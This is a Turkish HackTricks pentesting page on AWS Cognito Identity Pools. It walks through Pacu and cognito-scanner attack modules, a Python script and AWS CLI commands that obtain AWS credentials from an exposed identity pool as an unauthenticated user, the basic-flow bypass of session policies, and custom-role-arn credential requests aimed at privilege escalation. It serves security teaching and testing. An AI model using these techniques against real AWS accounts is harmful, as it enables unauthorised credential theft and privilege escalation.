Cognito Identity Pools

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Kimlik havuzları, kullanıcılarınızın geçici kimlik bilgileri edinmesini sağlayarak önemli bir rol oynar. Bu kimlik bilgileri, Amazon S3 ve DynamoDB gibi çeşitli AWS hizmetlerine erişmek için gereklidir. Kimlik havuzlarının dikkate değer bir özelliği, hem anonim misafir kullanıcıları hem de kullanıcı kimlik doğrulaması için çeşitli kimlik sağlayıcılarını desteklemesidir. Desteklenen kimlik sağlayıcıları şunları içerir:

  • Amazon Cognito kullanıcı havuzları

  • Facebook, Google, Amazon ile Giriş Yap ve Apple ile Oturum Aç gibi sosyal oturum açma seçenekleri

  • OpenID Connect (OIDC) uyumlu sağlayıcılar

  • SAML (Security Assertion Markup Language) kimlik sağlayıcıları

  • Geliştirici tarafından doğrulanmış kimlikler

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Kimlik Havuzu oturumlarını oluşturmak için öncelikle bir Kimlik Kimliği oluşturmanız gerekmektedir. Bu Kimlik Kimliği, kullanıcının oturumunun kimliklendirilmesi için kullanılır. Bu kimliklendirmeler, 1MB'ye kadar anahtar-değer çiftlerini depolayabilen en fazla 20 veri kümesine sahip olabilir.

Bu, bir kullanıcının bilgilerini (her zaman aynı Kimlik Kimliğini kullanan kullanıcı) tutmak için faydalıdır.

Ayrıca, hizmet olan cognito-sync, bu bilgileri (veri kümelerinde, akışlarda bilgi gönderme ve SNS mesajlarında) yönetmeyi ve senkronize etmeyi sağlar.

Pentesting için Araçlar

  • Pacu, AWS saldırı çerçevesi, artık bir hesaptaki tüm Cognito varlıklarının numaralandırılmasını otomatikleştiren "cognito__enum" ve "cognito__attack" modüllerini içermektedir. Zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı özniteliklerini vb. belirler ve ayrıca değiştirilebilir özel özniteliklere dayalı kullanıcı oluşturmayı (MFA desteği de dahil) ve ayrıcalık yükseltmeyi, kullanılabilir kimlik havuzu kimlik bilgilerini, id belgelerindeki rol alınabilir rolleri otomatikleştirir.

Modüllerin işlevlerinin açıklaması için blog yazısının ikinci bölümüne bakın. Kurulum talimatları için ana Pacu sayfasına bakın.

Kullanım

Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi için kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek cognito__attack kullanımı:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için örnek cognito__enum kullanımı:

cognito__enum

Bu komut, AWS hesabında bulunan tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını ve kullanıcıları listeleyecektir.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner, Cognito üzerinde istenmeyen hesap oluşturma ve kimlik havuzu yükseltme dahil olmak üzere farklı saldırıları uygulayan bir Python tabanlı bir CLI aracıdır.

Kurulum

$ pip install cognito-scanner

Kullanım

$ cognito-scanner --help

Daha fazla bilgi için https://github.com/padok-team/cognito-scanner adresini kontrol edin.

IAM Rollerine Erişim

Kimlik Doğrulamasız

Bir saldırganın, kimlik doğrulamasız bir kullanıcı olarak bir Cognito uygulamasında AWS kimlik bilgilerini elde etmek için bilmesi gereken tek şey, Kimlik Havuzu Kimliği'dir ve bu Kimlik Havuzu Kimliği, web/mobil uygulamanın kullanması için kodlanmış olmalıdır. Bir Kimlik Havuzu Kimliği şuna benzer: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (kaba kuvvet saldırısı yapılamaz).

IAM Cognito kimlik doğrulamasız rolü varsayılan olarak Cognito_<Kimlik Havuzu adı>Unauth_Role olarak adlandırılır.

Eğer bir Kimlik Havuzu Kimliği kodlanmış olarak bulursanız ve kimlik doğrulamasız kullanıcılara izin veriyorsa, AWS kimlik bilgilerini aşağıdaki komutla elde edebilirsiniz:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ya da aşağıdaki aws cli komutlarını kullanabilirsiniz:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Unutmayın ki varsayılan olarak kimlik doğrulaması yapılmamış bir cognito kullanıcısı, bir politika aracılığıyla atansa bile herhangi bir izne sahip olamaz. Aşağıdaki bölümü kontrol edin.

Gelişmiş vs Temel Kimlik Doğrulama Akışı

Önceki bölüm, varsayılan gelişmiş kimlik doğrulama akışını takip etti. Bu akış, oluşturulan IAM rol oturumu için kısıtlayıcı bir oturum politikası ayarlar. Bu politika, oturuma bu listedeki hizmetleri kullanmasına izin verir (rolün diğer hizmetlere erişimi olsa bile).

Ancak, Kimlik havuzunda "Temel (Klasik) Akış" etkinleştirilmişse, kullanıcı bu akışı kullanarak kısıtlayıcı oturum politikasına sahip olmayan bir oturum elde edebilir.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Bu hatayı alıyorsanız, temel akış etkin değil (varsayılan) olduğu için.

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM kimlik bilgileri kümesine sahip olduğunuzda hangi erişime sahip olduğunuzu kontrol etmeli ve ayrıcalıkları yükseltmeye çalışmalısınız.

Kimlik doğrulandı

Kimlik doğrulanan kullanıcılar muhtemelen farklı izinler verilecektir, bu yüzden uygulamaya kaydolabilirseniz, bunu deneyin ve yeni kimlik bilgilerini alın.

Ayrıca, Kimlik Havuzu'na erişen kimlik doğrulanan kullanıcılar için roller de mevcut olabilir.

Bunun için kimlik sağlayıcıya erişiminizin olması gerekebilir. Eğer bu bir Cognito Kullanıcı Havuzu ise, varsayılan davranışı istismar edebilir ve kendiniz yeni bir kullanıcı oluşturabilirsiniz.

IAM Cognito kimlik doğrulaması rolü varsayılan olarak Cognito_<Kimlik Havuzu adı>Auth_Role olarak adlandırılır.

Neyse ki, aşağıdaki örnek, Kimlik Havuzuna erişmek için kullanılan bir Cognito Kullanıcı Havuzu içinde zaten oturum açtığınızı varsayar (unutmayın, diğer kimlik sağlayıcı türleri de yapılandırılmış olabilir).

aws cognito-identity get-id \
--identity-pool-id <kimlik_havuzu_id> \
--logins cognito-idp.<bölge>.amazonaws.com/<SIZIN_KULLANICI_HAVUZU_IDNIZ>=<ID_TOKEN>

# Önceki komutun yanıtından identity_id'yi alın
aws cognito-identity get-credentials-for-identity \
--identity-id <kimlik_id> \
--logins cognito-idp.<bölge>.amazonaws.com/<SIZIN_KULLANICI_HAVUZU_IDNIZ>=<ID_TOKEN>


# IdToken içinde, Kullanıcı Havuzu Grupları nedeniyle bir kullanıcının erişimi olan rolleri bulabilirsiniz
# Belirli bir role kimlik bilgileri almak için --custom-role-arn kullanın
aws cognito-identity get-credentials-for-identity \
--identity-id <kimlik_id> \
    --custom-role-arn <rol_arn> \
    --logins cognito-idp.<bölge>.amazonaws.com/<SIZIN_KULLANICI_HAVUZU_IDNIZ>=<ID_TOKEN>

Kullanıcının oturum açtığı kimlik sağlayıcıya bağlı olarak farklı IAM rolleri yapılandırılabilir veya sadece kullanıcıya bağlı olarak (talepleri kullanarak). Bu nedenle, aynı veya farklı sağlayıcılardan farklı kullanıcılara erişiminiz varsa, hepsinin IAM rollerine giriş yapmak ve erişmek için değer olabilir.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated